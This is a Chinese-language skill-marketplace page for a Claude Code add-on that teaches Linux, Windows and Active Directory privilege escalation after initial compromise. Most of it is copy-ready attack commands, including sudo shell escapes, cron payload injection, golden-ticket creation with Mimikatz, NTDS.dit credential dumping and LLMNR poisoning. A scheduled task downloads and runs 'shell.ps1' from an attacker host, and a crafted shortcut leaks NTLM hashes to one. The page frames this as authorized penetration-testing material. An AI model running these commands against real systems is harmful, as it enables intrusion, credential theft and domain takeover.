mcpField
P
Privilege Escalation Methods

Privilege Escalation Methods

github.com/davila7安全33.0k185 次安装1 天前更新
代码仓库

关于 Privilege Escalation Methods

面向渗透测试的技能,介绍获得初始 Shell 后在 Linux、Windows 和 Active Directory 中进行权限提升。内容涵盖本地与域攻击技术、凭据收集、前置条件及清理指导。

主要功能

  1. 01Linux sudo、Cron、Capabilities 与 NFS 利用
  2. 02Windows 令牌、服务及权限滥用
  3. 03Active Directory 票据与域攻击
  4. 04凭据收集及哈希提取
  5. 05前置条件、排查与清理指导

适用场景

  1. 01审查 Linux 主机的本地提权路径
  2. 02测试 Windows 服务和令牌权限
  3. 03评估 Active Directory 域攻击路径

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/davila7/claude-code-templates --skill privilege-escalation-methods

安装后在 Claude Code 中输入/privilege-escalation-methods确认已加载。

详细介绍

权限提升方法

目的

提供全面的技术,帮助在已攻陷的 Linux 和 Windows 系统上将低权限用户的权限提升至 root/管理员级别。对于渗透测试的后渗透阶段和红队行动至关重要。

输入/前提条件

  • 已获得目标系统上的初始低权限 Shell 访问权限
  • Kali Linux 或渗透测试发行版
  • 工具:Mimikatz、PowerView、PowerUpSQL、Responder、Impacket、Rubeus
  • 了解 Windows/Linux 权限模型
  • 对于 AD 攻击:拥有域用户凭据以及访问 DC 的网络权限

输出/交付成果

  • Root 或管理员 Shell 访问权限
  • 提取的凭据和哈希
  • 持久化访问机制
  • 域失陷(适用于 AD 环境)

核心技术

Linux 权限提升
1. 滥用 Sudo 二进制文件

使用 GTFOBins 技术利用配置错误的 sudo 权限:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash
2. 滥用计划任务(Cron)
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p
3. 滥用 Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS Root Squashing
# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. 以 Root 身份运行的 MySQL
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows 权限提升
1. 令牌冒充
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. 滥用服务
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. 滥用 SeBackupPrivilege
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. 滥用 SeLoadDriverPrivilege
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. 滥用 GPO
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory 攻击
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
.\Rubeus.exe asreproast
3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket
5. 使用计划任务的 Golden Ticket
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

凭据收集
LLMNR 投毒
# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM 中继
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
使用 VSS 转储
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

快速参考

技术操作系统是否需要域工具
滥用 Sudo 二进制文件Linux否GTFOBins
Cron 任务利用Linux否手动
滥用 CapabilityLinux否getcap
NFS no_root_squashLinux否mount
令牌冒充Windows否SweetPotato
滥用服务Windows否PowerUp
KerberoastingWindows是Rubeus/Impacket
AS-REP RoastingWindows是Rubeus
Golden TicketWindows是Mimikatz
Pass-the-TicketWindows是Rubeus
DCSyncWindows是Mimikatz
LLMNR 投毒Windows是Responder

限制条件

必须:

  • 尝试提升权限前,必须先获得初始 Shell 访问权限
  • 选择技术前,必须确认目标操作系统和环境
  • 必须根据域或本地权限提升场景使用适当的工具

不得:

  • 未经授权,不得在生产系统上尝试这些技术
  • 未经客户批准,不得留下持久化机制
  • 不得忽视检测机制(EDR、SIEM)

应该:

  • 在利用前进行彻底枚举
  • 记录所有成功的权限提升路径
  • 在行动结束后清理残留文件

示例

示例 1:从 Linux Sudo 提升至 Root
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
示例 2:Windows Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

故障排除

问题解决方案
sudo -l 要求输入密码尝试其他枚举方式(SUID、cron、capabilities)
Mimikatz 被 AV 拦截使用 Invoke-Mimikatz 或 SafetyKatz
Kerberoasting 未返回哈希检查是否存在带 SPN 的服务帐户
令牌冒充失败确认是否存在 SeImpersonatePrivilege
NFS 挂载失败检查 NFS 版本兼容性(vers=2,3,4)

更多资源

如需详细的枚举脚本,请使用:

  • LinPEAS:Linux 权限提升枚举
  • WinPEAS:Windows 权限提升枚举
  • BloodHound:Active Directory 攻击路径映射
  • GTFOBins:Unix 二进制文件利用参考

评论

支持 Markdown